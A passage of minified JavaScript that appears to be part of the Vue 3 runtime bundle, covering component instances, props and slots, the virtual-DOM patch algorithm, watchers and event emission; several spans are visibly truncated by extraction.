Yd(e,t,n=jn+1){for(;nIi(n)-Ii(s));if(Ms.length=0,Nr){Nr.push(...t);return}for(Nr=t,xs=0;xse.id==null?e.flags&2?-1:1/0:e.id;function _g(e){const t=Fn;try{for(jn=0;jn{s._d&&sp(-1);const a=ua(t);let c;try{c=e(...o)}finally{ua(a),s._d&&sp(1)}return c};return s._n=!0,s._c=!0,s._d=!0,s}function gN(e,t){if(Lt===null)return e;const n=xa(Lt),s=e.dirs||(e.dirs=[]);for(let o=0;oe.__isTeleport;function Bu(e,t){e.shapeFlag&6&&e.component?(e.transition=t,Bu(e.component.subTree,t)):e.shapeFlag&128?(e.ssContent.transition=t.clone(e.ssContent),e.ssFallback.transition=t.clone(e.ssFallback)):e.transition=t}/*! #__NO_SIDE_EFFECTS__ */function hs(e,t){return Re(e)?(()=>Ft({name:e.name},t,{setup:e}))():e}function bg(e){e.ids=[e.ids[0]+e.ids[2]+++"-",0,0]}function Uc(e,t,n,s,o=!1){if(we(e)){e.forEach((P,F)=>Uc(P,t&&(we(t)?t[F]:t),n,s,o));return}if(Fs(s)&&!o)return;const a=s.shapeFlag&4?xa(s.component):s.el,c=o?null:a,{i:u,r:h}=e,d=t&&t.r,m=u.refs===nt?u.refs={}:u.refs,g=u.setupState,w=Ke(g),O=g===nt?()=>!1:P=>Xe(w,P);if(d!=null&&d!==h&&(Nt(d)?(m[d]=null,O(d)&&(g[d]=null)):yt(d)&&(d.value=null)),Re(h))qi(h,u,12,[c,m]);else{const P=Nt(h),F=yt(h);if(P||F){const D=()=>{if(e.f){const R=P?O(h)?g[h]:m[h]:h.value;o?we(R)&&Su(R,a):we(R)?R.includes(a)||R.push(a):P?(m[h]=[a],O(h)&&(g[h]=m[h])):(h.value=[a],e.k&&(m[e.k]=h.value))}else P?(m[h]=c,O(h)&&(g[h]=c)):F&&(h.value=c,e.k&&(m[e.k]=c))};c?(D.id=-1,mn(D,n)):D()}}}Oa().requestIdleCallback;Oa().cancelIdleCallback;const Fs=e=>!!e.type.__asyncLoader,vg=e=>e.type.__isKeepAlive;function FT(e,t){Eg(e,"a",t)}function UT(e,t){Eg(e,"da",t)}function Eg(e,t,n=kt){const s=e.__wdc||(e.__wdc=()=>{let o=n;for(;o;){if(o.isDeactivated)return;o=o.parent}return e()});if(Aa(t,s,n),n){let o=n.parent;for(;o&&o.parent;)vg(o.parent.vnode)&&BT(s,t,n,o),o=o.parent}}function BT(e,t,n,s){const o=Aa(t,e,s,!0);Wu(()=>{Su(s[t],o)},n)}function Aa(e,t,n=kt,s=!1){if(n){const o=n[e]||(n[e]=[]),a=t.__weh||(t.__weh=(...c)=>{Br();const u=zi(n),h=Jn(t,n,e,c);return u(),$r(),h});return s?o.unshift(a):o.push(a),a}}const _r=e=>(t,n=kt)=>{(!Mi||e==="sp")&&Aa(e,(...s)=>t(...s),n)},$T=_r("bm"),$u=_r("m"),WT=_r("bu"),HT=_r("u"),VT=_r("bum"),Wu=_r("um"),qT=_r("sp"),KT=_r("rtg"),zT=_r("rtc");function GT(e,t=kt){Aa("ec",e,t)}const wg="components";function _N(e,t){return YT(wg,e,!0,t)||e}const jT=Symbol.for("v-ndc");function YT(e,t,n=!0,s=!1){const o=Lt||kt;if(o){const a=o.type;if(e===wg){const u=UO(a,!1);if(u&&(u===t||u===Ln(t)||u===Ta(Ln(t))))return a}const c=Jd(o[e]||a[e],t)||Jd(o.appContext[e],t);return!c&&s?a:c}}function Jd(e,t){return e&&(e[t]||e[Ln(t)]||e[Ta(Ln(t))])}function yN(e,t,n={},s,o){if(Lt.ce||Lt.parent&&Fs(Lt.parent)&&Lt.parent.ce)return t!=="default"&&(n.name=t),Ni(),Vc(en,null,[Mt("slot",n,s&&s())],64);let a=e[t];a&&a._c&&(a._d=!1),Ni();const c=a&&Sg(a(n)),u=n.key||c&&c.key,h=Vc(en,{key:(u&&!gr(u)?u:`_${t}`)+(!c&&s?"_fb":"")},c||(s?s():[]),c&&e._===1?64:-2);return!o&&h.scopeId&&(h.slotScopeIds=[h.scopeId+"-s"]),a&&a._c&&(a._d=!0),h}function Sg(e){return e.some(t=>ki(t)?!(t.type===Ur||t.type===en&&!Sg(t.children)):!0)?e:null}const Bc=e=>e?qg(e)?xa(e):Bc(e.parent):null,Oi=Ft(Object.create(null),{$:e=>e,$el:e=>e.vnode.el,$data:e=>e.data,$props:e=>e.props,$attrs:e=>e.attrs,$slots:e=>e.slots,$refs:e=>e.refs,$parent:e=>Bc(e.parent),$root:e=>Bc(e.root),$host:e=>e.ce,$emit:e=>e.emit,$options:e=>Hu(e),$forceUpdate:e=>e.f||(e.f=()=>{Uu(e.update)}),$nextTick:e=>e.n||(e.n=Fu.bind(e.proxy)),$watch:e=>_O.bind(e)}),uc=(e,t)=>e!==nt&&!e.__isScriptSetup&&Xe(e,t),JT={get({_:e},t){if(t==="__v_skip")return!0;const{ctx:n,setupState:s,data:o,props:a,accessCache:c,type:u,appContext:h}=e;let d;if(t[0]!=="$"){const O=c[t];if(O!==void 0)switch(O){case 1:return s[t];case 2:return o[t];case 4:return n[t];case 3:return a[t]}else{if(uc(s,t))return c[t]=1,s[t];if(o!==nt&&Xe(o,t))return c[t]=2,o[t];if((d=e.propsOptions[0])&&Xe(d,t))return c[t]=3,a[t];if(n!==nt&&Xe(n,t))return c[t]=4,n[t];$c&&(c[t]=0)}}const m=Oi[t];let g,w;if(m)return t==="$attrs"&&Kt(e.attrs,"get",""),m(e);if((g=u.__cssModules)&&(g=g[t]))return g;if(n!==nt&&Xe(n,t))return c[t]=4,n[t];if(w=h.config.globalProperties,Xe(w,t))return w[t]},set({_:e},t,n){const{data:s,setupState:o,ctx:a}=e;return uc(o,t)?(o[t]=n,!0):s!==nt&&Xe(s,t)?(s[t]=n,!0):Xe(e.props,t)||t[0]==="$"&&t.slice(1)in e?!1:(a[t]=n,!0)},has({_:{data:e,setupState:t,accessCache:n,ctx:s,appContext:o,propsOptions:a}},c){let u;return!!n[c]||e!==nt&&Xe(e,c)||uc(t,c)||(u=a[0])&&Xe(u,c)||Xe(s,c)||Xe(Oi,c)||Xe(o.config.globalProperties,c)},defineProperty(e,t,n){return n.get!=null?e._.accessCache[t]=0:Xe(n,"value")&&this.set(e,t,n.value,null),Reflect.defineProperty(e,t,n)}};function Xd(e){return we(e)?e.reduce((t,n)=>(t[n]=null,t),{}):e}let $c=!0;function XT(e){const t=Hu(e),n=e.proxy,s=e.ctx;$c=!1,t.beforeCreate&&Qd(t.beforeCreate,e,"bc");const{data:o,computed:a,methods:c,watch:u,provide:h,inject:d,created:m,beforeMount:g,mounted:w,beforeUpdate:O,updated:P,activated:F,deactivated:D,beforeDestroy:R,beforeUnmount:N,destroyed:U,unmounted:x,render:q,renderTracked:Z,renderTriggered:W,errorCaptured:ae,serverPrefetch:se,expose:Ae,inheritAttrs:Ve,components:Me,directives:qe,filters:$t}=t;if(d&&QT(d,s,null),c)for(const me in c){const ye=c[me];Re(ye)&&(s[me]=ye.bind(n))}if(o){const me=o.call(n,n);pt(me)&&(e.data=Vi(me))}if($c=!0,a)for(const me in a){const ye=a[me],et=Re(ye)?ye.bind(n,n):Re(ye.get)?ye.get.bind(n,n):Fn,bt=!Re(ye)&&Re(ye.set)?ye.set.bind(n):Fn,ce=Dt({get:et,set:bt});Object.defineProperty(s,me,{enumerable:!0,configurable:!0,get:()=>ce.value,set:Y=>ce.value=Y})}if(u)for(const me in u)Tg(u[me],s,n,me);if(h){const me=Re(h)?h.call(n):h;Reflect.ownKeys(me).forEach(ye=>{Go(ye,me[ye])})}m&&Qd(m,e,"c");function We(me,ye){we(ye)?ye.forEach(et=>me(et.bind(n))):ye&&me(ye.bind(n))}if(We($T,g),We($u,w),We(WT,O),We(HT,P),We(FT,F),We(UT,D),We(GT,ae),We(zT,Z),We(KT,W),We(VT,N),We(Wu,x),We(qT,se),we(Ae))if(Ae.length){const me=e.exposed||(e.exposed={});Ae.forEach(ye=>{Object.defineProperty(me,ye,{get:()=>n[ye],set:et=>n[ye]=et})})}else e.exposed||(e.exposed={});q&&e.render===Fn&&(e.render=q),Ve!=null&&(e.inheritAttrs=Ve),Me&&(e.components=Me),qe&&(e.directives=qe),se&&bg(e)}function QT(e,t,n=Fn){we(e)&&(e=Wc(e));for(const s in e){const o=e[s];let a;pt(o)?"default"in o?a=_n(o.from||s,o.default,!0):a=_n(o.from||s):a=_n(o),yt(a)?Object.defineProperty(t,s,{enumerable:!0,configurable:!0,get:()=>a.value,set:c=>a.value=c}):t[s]=a}}function Qd(e,t,n){Jn(we(e)?e.map(s=>s.bind(t.proxy)):e.bind(t.proxy),t,n)}function Tg(e,t,n,s){let o=s.includes(".")?Ug(n,s):()=>n[s];if(Nt(e)){const a=t[e];Re(a)&&Mr(o,a)}else if(Re(e))Mr(o,e.bind(n));else if(pt(e))if(we(e))e.forEach(a=>Tg(a,t,n,s));else{const a=Re(e.handler)?e.handler.bind(n):t[e.handler];Re(a)&&Mr(o,a,e)}}function Hu(e){const t=e.type,{mixins:n,extends:s}=t,{mixins:o,optionsCache:a,config:{optionMergeStrategies:c}}=e.appContext,u=a.get(t);let h;return u?h=u:!o.length&&!n&&!s?h=t:(h={},o.length&&o.forEach(d=>fa(h,d,c,!0)),fa(h,t,c)),pt(t)&&a.set(t,h),h}function fa(e,t,n,s=!1){const{mixins:o,extends:a}=t;a&&fa(e,a,n,!0),o&&o.forEach(c=>fa(e,c,n,!0));for(const c in t)if(!(s&&c==="expose")){const u=ZT[c]||n&&n[c];e[c]=u?u(e[c],t[c]):t[c]}return e}const ZT={data:Zd,props:ep,emits:ep,methods:bi,computed:bi,beforeCreate:Yt,created:Yt,beforeMount:Yt,mounted:Yt,beforeUpdate:Yt,updated:Yt,beforeDestroy:Yt,beforeUnmount:Yt,destroyed:Yt,unmounted:Yt,activated:Yt,deactivated:Yt,errorCaptured:Yt,serverPrefetch:Yt,components:bi,directives:bi,watch:tO,provide:Zd,inject:eO};function Zd(e,t){return t?e?function(){return Ft(Re(e)?e.call(this,this):e,Re(t)?t.call(this,this):t)}:t:e}function eO(e,t){return bi(Wc(e),Wc(t))}function Wc(e){if(we(e)){const t={};for(let n=0;n1)return n&&Re(t)?t.call(s&&s.proxy):t}}function sO(){return!!(kt||Lt||ls)}const Rg={},Ag=()=>Object.create(Rg),Cg=e=>Object.getPrototypeOf(e)===Rg;function iO(e,t,n,s=!1){const o={},a=Ag();e.propsDefaults=Object.create(null),xg(e,t,o,a);for(const c in e.propsOptions[0])c in o||(o[c]=void 0);n?e.props=s?o:cg(o):e.type.props?e.props=o:e.props=a,e.attrs=a}function oO(e,t,n,s){const{props:o,attrs:a,vnode:{patchFlag:c}}=e,u=Ke(o),[h]=e.propsOptions;let d=!1;if((s||c>0)&&!(c&16)){if(c&8){const m=e.vnode.dynamicProps;for(let g=0;g{h=!0;const[w,O]=Lg(g,t,!0);Ft(c,w),O&&u.push(...O)};!n&&t.mixins.length&&t.mixins.forEach(m),e.extends&&m(e.extends),e.mixins&&e.mixins.forEach(m)}if(!a&&!h)return pt(e)&&s.set(e,ks),ks;if(we(a))for(let m=0;me[0]==="_"||e==="$stable",Vu=e=>we(e)?e.map(Yn):[Yn(e)],lO=(e,t,n)=>{if(t._n)return t;const s=kT((...o)=>Vu(t(...o)),n);return s._c=!1,s},Ng=(e,t,n)=>{const s=e._ctx;for(const o in e){if(Ig(o))continue;const a=e[o];if(Re(a))t[o]=lO(o,a,s);else if(a!=null){const c=Vu(a);t[o]=()=>c}}},Pg=(e,t)=>{const n=Vu(t);e.slots.default=()=>n},kg=(e,t,n)=>{for(const s in t)(n||s!=="_")&&(e[s]=t[s])},cO=(e,t,n)=>{const s=e.slots=Ag();if(e.vnode.shapeFlag&32){const o=t._;o?(kg(s,t,n),n&&Vm(s,"_",o,!0)):Ng(t,s)}else t&&Pg(e,t)},uO=(e,t,n)=>{const{vnode:s,slots:o}=e;let a=!0,c=nt;if(s.shapeFlag&32){const u=t._;u?n&&u===1?a=!1:kg(o,t,n):(a=!t.$stable,Ng(t,o)),c=t}else t&&(Pg(e,t),c={default:1});if(a)for(const u in o)!Ig(u)&&c[u]==null&&delete o[u]},mn=TO;function fO(e){return hO(e)}function hO(e,t){const n=Oa();n.__VUE__=!0;const{insert:s,remove:o,patchProp:a,createElement:c,createText:u,createComment:h,setText:d,setElementText:m,parentNode:g,nextSibling:w,setScopeId:O=Fn,insertStaticContent:P}=e,F=(v,S,M,Q=null,K=null,b=null,E=void 0,L=null,B=!!S.dynamicChildren)=>{if(v===S)return;v&&!pi(v,S)&&(Q=V(v),Y(v,K,b,!0),v=null),S.patchFlag===-2&&(B=!1,S.dynamicChildren=null);const{type:G,ref:te,shapeFlag:C}=S;switch(G){case Ki:D(v,S,M,Q);break;case Ur:R(v,S,M,Q);break;case jo:v==null&&N(S,M,Q,E);break;case en:Me(v,S,M,Q,K,b,E,L,B);break;default:C&1?q(v,S,M,Q,K,b,E,L,B):C&6?qe(v,S,M,Q,K,b,E,L,B):(C&64||C&128)&&G.process(v,S,M,Q,K,b,E,L,B,oe)}te!=null&&K&&Uc(te,v&&v.ref,b,S||v,!S)},D=(v,S,M,Q)=>{if(v==null)s(S.el=u(S.children),M,Q);else{const K=S.el=v.el;S.children!==v.children&&d(K,S.children)}},R=(v,S,M,Q)=>{v==null?s(S.el=h(S.children||""),M,Q):S.el=v.el},N=(v,S,M,Q)=>{[v.el,v.anchor]=P(v.children,S,M,Q,v.el,v.anchor)},U=({el:v,anchor:S},M,Q)=>{let K;for(;v&&v!==S;)K=w(v),s(v,M,Q),v=K;s(S,M,Q)},x=({el:v,anchor:S})=>{let M;for(;v&&v!==S;)M=w(v),o(v),v=M;o(S)},q=(v,S,M,Q,K,b,E,L,B)=>{S.type==="svg"?E="svg":S.type==="math"&&(E="mathml"),v==null?Z(S,M,Q,K,b,E,L,B):se(v,S,K,b,E,L,B)},Z=(v,S,M,Q,K,b,E,L)=>{let B,G;const{props:te,shapeFlag:C,transition:$,dirs:ie}=v;if(B=v.el=c(v.type,b,te&&te.is,te),C&8?m(B,v.children):C&16&&ae(v.children,B,null,Q,K,fc(v,b),E,L),ie&&Zr(v,null,Q,"created"),W(B,v,v.scopeId,E,Q),te){for(const Ee in te)Ee!=="value"&&!wi(Ee)&&a(B,Ee,null,te[Ee],b,Q);"value"in te&&a(B,"value",null,te.value,b),(G=te.onVnodeBeforeMount)&&zn(G,Q,v)}ie&&Zr(v,null,Q,"beforeMount");const fe=dO(K,$);fe&&$.beforeEnter(B),s(B,S,M),((G=te&&te.onVnodeMounted)||fe||ie)&&mn(()=>{G&&zn(G,Q,v),fe&&$.enter(B),ie&&Zr(v,null,Q,"mounted")},K)},W=(v,S,M,Q,K)=>{if(M&&O(v,M),Q)for(let b=0;b{for(let G=B;G{const L=S.el=v.el;let{patchFlag:B,dynamicChildren:G,dirs:te}=S;B|=v.patchFlag&16;const C=v.props||nt,$=S.props||nt;let ie;if(M&&es(M,!1),(ie=$.onVnodeBeforeUpdate)&&zn(ie,M,S,v),te&&Zr(S,v,M,"beforeUpdate"),M&&es(M,!0),(C.innerHTML&&$.innerHTML==null||C.textContent&&$.textContent==null)&&m(L,""),G?Ae(v.dynamicChildren,G,L,M,Q,fc(S,K),b):E||ye(v,S,L,null,M,Q,fc(S,K),b,!1),B>0){if(B&16)Ve(L,C,$,M,K);else if(B&2&&C.class!==$.class&&a(L,"class",null,$.class,K),B&4&&a(L,"style",C.style,$.style,K),B&8){const fe=S.dynamicProps;for(let Ee=0;Ee{ie&&zn(ie,M,S,v),te&&Zr(S,v,M,"updated")},Q)},Ae=(v,S,M,Q,K,b,E)=>{for(let L=0;L{if(S!==M){if(S!==nt)for(const b in S)!wi(b)&&!(b in M)&&a(v,b,S[b],null,K,Q);for(const b in M){if(wi(b))continue;const E=M[b],L=S[b];E!==L&&b!=="value"&&a(v,b,L,E,K,Q)}"value"in M&&a(v,"value",S.value,M.value,K)}},Me=(v,S,M,Q,K,b,E,L,B)=>{const G=S.el=v?v.el:u(""),te=S.anchor=v?v.anchor:u("");let{patchFlag:C,dynamicChildren:$,slotScopeIds:ie}=S;ie&&(L=L?L.concat(ie):ie),v==null?(s(G,M,Q),s(te,M,Q),ae(S.children||[],M,te,K,b,E,L,B)):C>0&&C&64&&$&&v.dynamicChildren?(Ae(v.dynamicChildren,$,M,K,b,E,L),(S.key!=null||K&&S===K.subTree)&&Dg(v,S,!0)):ye(v,S,M,te,K,b,E,L,B)},qe=(v,S,M,Q,K,b,E,L,B)=>{S.slotScopeIds=L,v==null?S.shapeFlag&512?K.ctx.activate(S,M,Q,E,B):$t(S,M,Q,K,b,E,B):Wt(v,S,B)},$t=(v,S,M,Q,K,b,E)=>{const L=v.component=PO(v,Q,K);if(vg(v)&&(L.ctx.renderer=oe),kO(L,!1,E),L.asyncDep){if(K&&K.registerDep(L,We,E),!v.el){const B=L.subTree=Mt(Ur);R(null,B,S,M)}}else We(L,v,S,M,K,b,E)},Wt=(v,S,M)=>{const Q=S.component=v.component;if(wO(v,S,M))if(Q.asyncDep&&!Q.asyncResolved){me(Q,S,M);return}else Q.next=S,Q.update();else S.el=v.el,Q.vnode=S},We=(v,S,M,Q,K,b,E)=>{const L=()=>{if(v.isMounted){let{next:C,bu:$,u:ie,parent:fe,vnode:Ee}=v;{const wt=Mg(v);if(wt){C&&(C.el=Ee.el,me(v,C,E)),wt.asyncDep.then(()=>{v.isUnmounted||L()});return}}let Se=C,rt;es(v,!1),C?(C.el=Ee.el,me(v,C,E)):C=Ee,$&&zo($),(rt=C.props&&C.props.onVnodeBeforeUpdate)&&zn(rt,fe,C,Ee),es(v,!0);const ct=hc(v),Ot=v.subTree;v.subTree=ct,F(Ot,ct,g(Ot.el),V(Ot),v,K,b),C.el=ct.el,Se===null&&SO(v,ct.el),ie&&mn(ie,K),(rt=C.props&&C.props.onVnodeUpdated)&&mn(()=>zn(rt,fe,C,Ee),K)}else{let C;const{el:$,props:ie}=S,{bm:fe,m:Ee,parent:Se,root:rt,type:ct}=v,Ot=Fs(S);if(es(v,!1),fe&&zo(fe),!Ot&&(C=ie&&ie.onVnodeBeforeMount)&&zn(C,Se,S),es(v,!0),$&&Pe){const wt=()=>{v.subTree=hc(v),Pe($,v.subTree,v,K,null)};Ot&&ct.__asyncHydrate?ct.__asyncHydrate($,v,wt):wt()}else{rt.ce&&rt.ce._injectChildStyle(ct);const wt=v.subTree=hc(v);F(null,wt,M,Q,v,K,b),S.el=wt.el}if(Ee&&mn(Ee,K),!Ot&&(C=ie&&ie.onVnodeMounted)){const wt=S;mn(()=>zn(C,Se,wt),K)}(S.shapeFlag&256||Se&&Fs(Se.vnode)&&Se.vnode.shapeFlag&256)&&v.a&&mn(v.a,K),v.isMounted=!0,S=M=Q=null}};v.scope.on();const B=v.effect=new Ym(L);v.scope.off();const G=v.update=B.run.bind(B),te=v.job=B.runIfDirty.bind(B);te.i=v,te.id=v.uid,B.scheduler=()=>Uu(te),es(v,!0),G()},me=(v,S,M)=>{S.component=v;const Q=v.vnode.props;v.vnode=S,v.next=null,oO(v,S.props,Q,M),uO(v,S.children,M),Br(),Yd(v),$r()},ye=(v,S,M,Q,K,b,E,L,B=!1)=>{const G=v&&v.children,te=v?v.shapeFlag:0,C=S.children,{patchFlag:$,shapeFlag:ie}=S;if($>0){if($&128){bt(G,C,M,Q,K,b,E,L,B);return}else if($&256){et(G,C,M,Q,K,b,E,L,B);return}}ie&8?(te&16&&Le(G,K,b),C!==G&&m(M,C)):te&16?ie&16?bt(G,C,M,Q,K,b,E,L,B):Le(G,K,b,!0):(te&8&&m(M,""),ie&16&&ae(C,M,Q,K,b,E,L,B))},et=(v,S,M,Q,K,b,E,L,B)=>{v=v||ks,S=S||ks;const G=v.length,te=S.length,C=Math.min(G,te);let $;for($=0;$te?Le(v,K,b,!0,!1,C):ae(S,M,Q,K,b,E,L,B,C)},bt=(v,S,M,Q,K,b,E,L,B)=>{let G=0;const te=S.length;let C=v.length-1,$=te-1;for(;G<=C&&G<=$;){const ie=v[G],fe=S[G]=B?Pr(S[G]):Yn(S[G]);if(pi(ie,fe))F(ie,fe,M,null,K,b,E,L,B);else break;G++}for(;G<=C&&G<=$;){const ie=v[C],fe=S[$]=B?Pr(S[$]):Yn(S[$]);if(pi(ie,fe))F(ie,fe,M,null,K,b,E,L,B);else break;C--,$--}if(G>C){if(G<=$){const ie=$+1,fe=ie$)for(;G<=C;)Y(v[G],K,b,!0),G++;else{const ie=G,fe=G,Ee=new Map;for(G=fe;G<=$;G++){const Rt=S[G]=B?Pr(S[G]):Yn(S[G]);Rt.key!=null&&Ee.set(Rt.key,G)}let Se,rt=0;const ct=$-fe+1;let Ot=!1,wt=0;const bn=new Array(ct);for(G=0;G=ct){Y(Rt,K,b,!0);continue}let Ge;if(Rt.key!=null)Ge=Ee.get(Rt.key);else for(Se=fe;Se<=$;Se++)if(bn[Se-fe]===0&&pi(Rt,S[Se])){Ge=Se;break}Ge===void 0?Y(Rt,K,b,!0):(bn[Ge-fe]=G+1,Ge>=wt?wt=Ge:Ot=!0,F(Rt,S[Ge],M,null,K,b,E,L,B),rt++)}const Qn=Ot?pO(bn):ks;for(Se=Qn.length-1,G=ct-1;G>=0;G--){const Rt=fe+G,Ge=S[Rt],mt=Rt+1{const{el:b,type:E,transition:L,children:B,shapeFlag:G}=v;if(G&6){ce(v.component.subTree,S,M,Q);return}if(G&128){v.suspense.move(S,M,Q);return}if(G&64){E.move(v,S,M,oe);return}if(E===en){s(b,S,M);for(let C=0;CL.enter(b),K);else{const{leave:C,delayLeave:$,afterLeave:ie}=L,fe=()=>s(b,S,M),Ee=()=>{C(b,()=>{fe(),ie&&ie()})};$?$(b,fe,Ee):Ee()}else s(b,S,M)},Y=(v,S,M,Q=!1,K=!1)=>{const{type:b,props:E,ref:L,children:B,dynamicChildren:G,shapeFlag:te,patchFlag:C,dirs:$,cacheIndex:ie}=v;if(C===-2&&(K=!1),L!=null&&Uc(L,null,M,v,!0),ie!=null&&(S.renderCache[ie]=void 0),te&256){S.ctx.deactivate(v);return}const fe=te&1&&$,Ee=!Fs(v);let Se;if(Ee&&(Se=E&&E.onVnodeBeforeUnmount)&&zn(Se,S,v),te&6)He(v.component,M,Q);else{if(te&128){v.suspense.unmount(M,Q);return}fe&&Zr(v,null,S,"beforeUnmount"),te&64?v.type.remove(v,S,M,oe,Q):G&&!G.hasOnce&&(b!==en||C>0&&C&64)?Le(G,S,M,!1,!0):(b===en&&C&384||!K&&te&16)&&Le(B,S,M),Q&&de(v)}(Ee&&(Se=E&&E.onVnodeUnmounted)||fe)&&mn(()=>{Se&&zn(Se,S,v),fe&&Zr(v,null,S,"unmounted")},M)},de=v=>{const{type:S,el:M,anchor:Q,transition:K}=v;if(S===en){Ce(M,Q);return}if(S===jo){x(v);return}const b=()=>{o(M),K&&!K.persisted&&K.afterLeave&&K.afterLeave()};if(v.shapeFlag&1&&K&&!K.persisted){const{leave:E,delayLeave:L}=K,B=()=>E(M,b);L?L(v.el,b,B):B()}else b()},Ce=(v,S)=>{let M;for(;v!==S;)M=w(v),o(v),v=M;o(S)},He=(v,S,M)=>{const{bum:Q,scope:K,job:b,subTree:E,um:L,m:B,a:G}=v;np(B),np(G),Q&&zo(Q),K.stop(),b&&(b.flags|=8,Y(E,v,S,M)),L&&mn(L,S),mn(()=>{v.isUnmounted=!0},S),S&&S.pendingBranch&&!S.isUnmounted&&v.asyncDep&&!v.asyncResolved&&v.suspenseId===S.pendingId&&(S.deps--,S.deps===0&&S.resolve())},Le=(v,S,M,Q=!1,K=!1,b=0)=>{for(let E=b;E{if(v.shapeFlag&6)return V(v.component.subTree);if(v.shapeFlag&128)return v.suspense.next();const S=w(v.anchor||v.el),M=S&&S[DT];return M?w(M):S};let re=!1;const ne=(v,S,M)=>{v==null?S._vnode&&Y(S._vnode,null,null,!0):F(S._vnode||null,v,S,null,null,null,M),S._vnode=v,re||(re=!0,Yd(),gg(),re=!1)},oe={p:F,um:Y,m:ce,r:de,mt:$t,mc:ae,pc:ye,pbc:Ae,n:V,o:e};let ge,Pe;return t&&([ge,Pe]=t(oe)),{render:ne,hydrate:ge,createApp:rO(ne,ge)}}function fc({type:e,props:t},n){return n==="svg"&&e==="foreignObject"||n==="mathml"&&e==="annotation-xml"&&t&&t.encoding&&t.encoding.includes("html")?void 0:n}function es({effect:e,job:t},n){n?(e.flags|=32,t.flags|=4):(e.flags&=-33,t.flags&=-5)}function dO(e,t){return(!e||e&&!e.pendingBranch)&&t&&!t.persisted}function Dg(e,t,n=!1){const s=e.children,o=t.children;if(we(s)&&we(o))for(let a=0;a>1,e[n[u]]0&&(t[s]=n[a-1]),n[a]=s)}}for(a=n.length,c=n[a-1];a-- >0;)n[a]=c,c=t[c];return n}function Mg(e){const t=e.subTree.component;if(t)return t.asyncDep&&!t.asyncResolved?t:Mg(t)}function np(e){if(e)for(let t=0;t_n(mO);function Mr(e,t,n){return Fg(e,t,n)}function Fg(e,t,n=nt){const{immediate:s,deep:o,flush:a,once:c}=n,u=Ft({},n),h=t&&s||!t&&a!=="post";let d;if(Mi){if(a==="sync"){const O=gO();d=O.__watcherHandles||(O.__watcherHandles=[])}else if(!h){const O=()=>{};return O.stop=Fn,O.resume=Fn,O.pause=Fn,O}}const m=kt;u.call=(O,P,F)=>Jn(O,m,P,F);let g=!1;a==="post"?u.scheduler=O=>{mn(O,m&&m.suspense)}:a!=="sync"&&(g=!0,u.scheduler=(O,P)=>{P?O():Uu(O)}),u.augmentJob=O=>{t&&(O.flags|=4),g&&(O.flags|=2,m&&(O.id=m.uid,O.i=m))};const w=LT(e,t,u);return Mi&&(d?d.push(w):h&&w()),w}function _O(e,t,n){const s=this.proxy,o=Nt(e)?e.includes(".")?Ug(s,e):()=>s[e]:e.bind(s,s);let a;Re(t)?a=t:(a=t.handler,n=t);const c=zi(this),u=Fg(o,a.bind(s),n);return c(),u}function Ug(e,t){const n=t.split(".");return()=>{let s=e;for(let o=0;ot==="modelValue"||t==="model-value"?e.modelModifiers:e[`${t}Modifiers`]||e[`${Ln(t)}Modifiers`]||e[`${fs(t)}Modifiers`];function bO(e,t,...n){if(e.isUnmounted)return;const s=e.vnode.props||nt;let o=n;const a=t.startsWith("update:"),c=a&&yO(s,t.slice(7));c&&(c.trim&&(o=n.map(m=>Nt(m)?m.trim():m)),c.number&&(o=n.map(Pc)));let u,h=s[u=ic(t)]||s[u=ic(Ln(t))];!h&&a&&(h=s[u=ic(fs(t))]),h&&Jn(h,e,6,o);const d=s[u+"Once"];if(d){if(!e.emitted)e.emitted={};else if(e.emitted[u])return;e.emitted[u]=!0,Jn(d,e,6,o)}}function Bg(e,t,n=!1){const s=t.emitsCache,o=s.get(e);if(o!==void 0)return o;const a=e.emits;let c={},u=!1;if(!Re(e)){const h=d=>{const m=Bg(d,t,!0);m&&(u=!0,Ft(c,m))};!n&&t.mixins.length&&t.mixins.forEach(h),e.extends&&h(e.extends),e.mixins&&e.mixins.forEach(h)}return!a&&!u?(pt(e)&&s.set(e,null),null):(we(a)?a.forEach(h=>c[h]=null):Ft(c,a),pt(e)&&s.set(e,c),c)}function Ca(e,t){return!e||!Ea(t)?!1:(t=t.slice(2).replace(/Once$/,""),Xe(e,t[0].toLowerCase()+t.slice(1))||Xe(e,fs(t))||Xe(e,t))}function hc(e){const{type:t,vnode:n,proxy:s,withProxy:o,propsOptions:[a],slots:c,attrs:u,emit:h,render:d,renderCache:m,props:g,data:w,setupState:O,ctx:P,inheritAttrs:F}=e,D=ua(e);let R,N;try{if(n.shapeFlag&4){const x=o||s,q=x;R=Yn(d.call(q,x,m,g,O,w,P)),N=u}else{const x=t;R=Yn(x.length>1?x(g,{attrs:u,slots:c,emit:h}):x(g,null)),N=t.props?u:vO(u)}}catch(x){Ri.length=0,Ra(x,e,1),R=Mt(Ur)}let U=R;if(N&&F!==!1){const x=Object.keys(N),{shapeFlag:q}=U;x.length&&q&7&&(a&&x.some(wu)&&(N=EO(N,a)),U=Bs(U,N,!1,!0))}return n.dirs&&(U=Bs(U,null,!1,!0),U.dirs=U.dirs?U.dirs.concat(n.dirs):n.dirs),n.transition&&Bu(U,n.transition),R=U,ua(D),R}const vO=e=>{let t;for(const n in e)(n==="class"||n==="style"||Ea(n))&&((t||(t={}))[n]=e[n]);return t},EO=(e,t)=>{const n={};for(const s in e)(!wu(s)||!(s.slice(9)in t))&&(n[s]=e[s]);return n};function wO(e,t,n){const{props:s,children:o,component:a}=e,{props:c,children:u,patchFlag:h}=t,d=a.emitsOptions;if(t.dirs||t.transition)return!0;if(n&&h>=0){if(h&1024)return!0;if(h&16)return s?rp(s,c,d):!!c;if(h&8){const m=t.dynamicProps;for(let g=0;ge.__isSuspense;function TO(e,t){t&&t.pendingBranch?we(e)?t.effects.push(...e):t.effects.push(e):PT(e)}const en=Symbol.for("v-fgt"),Ki=Symbol.for("v-txt"),Ur=Symbol.for("v-cmt"),jo=Symbol.for("v-stc"),Ri=[];let gn=null;function Ni(e=!1){Ri.push(gn=e?null:[])}function OO(){Ri.pop(),gn=Ri[Ri.length-1]||null}let Pi=1;function sp(e){Pi+=e,e<0&&gn&&(gn.hasOnce=!0)}function Wg(e){return e.dynamicChildren=Pi>0?gn||ks:null,OO(),Pi>0&&gn&&gn.push(e),e}function Hg(e,t,n,s,o,a){return Wg(qu(e,t,n,s,o,a,!0))}function Vc(e,t,n,s,o){return Wg(Mt(e,t,n,s,o,!0))}function ki(e){return e?e.__v_isVNode===!0:!1}function pi(e,t){return e.type===t.type&&e.key===t.key}const Vg=({key:e})=>e??null,Yo=({ref:e,ref_key:t,ref_for:n})=>(typeof 